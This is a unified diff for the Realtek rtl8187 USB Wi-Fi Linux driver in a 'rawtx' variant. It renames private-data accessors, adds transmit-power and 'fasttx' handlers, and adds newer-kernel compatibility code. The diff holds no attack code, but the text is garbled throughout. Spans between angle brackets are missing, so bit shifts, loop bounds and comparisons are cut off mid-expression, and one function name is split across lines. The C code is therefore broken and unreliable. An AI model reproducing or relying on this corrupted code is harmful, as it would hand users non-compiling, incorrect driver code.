ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +448,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +456,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +476,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +526,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +564,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +582,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +612,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +650,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +702,49 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +757,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c 2006-06-22 07:43:30.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c 2008-01-30 17:39:05.000000000 +0100 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,35 +414,44 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); +#else + rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, init_net.proc_net); +#endif } void rtl8180_proc_module_remove(void) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) remove_proc_entry(RTL8187_MODULE_NAME, proc_net); +#else + remove_proc_entry(RTL8187_MODULE_NAME, init_net.proc_net); +#endif } void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +468,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +480,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +489,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +508,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +544,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +582,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +604,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +623,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +637,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +659,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +955,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +980,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +1006,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1022,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1142,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv 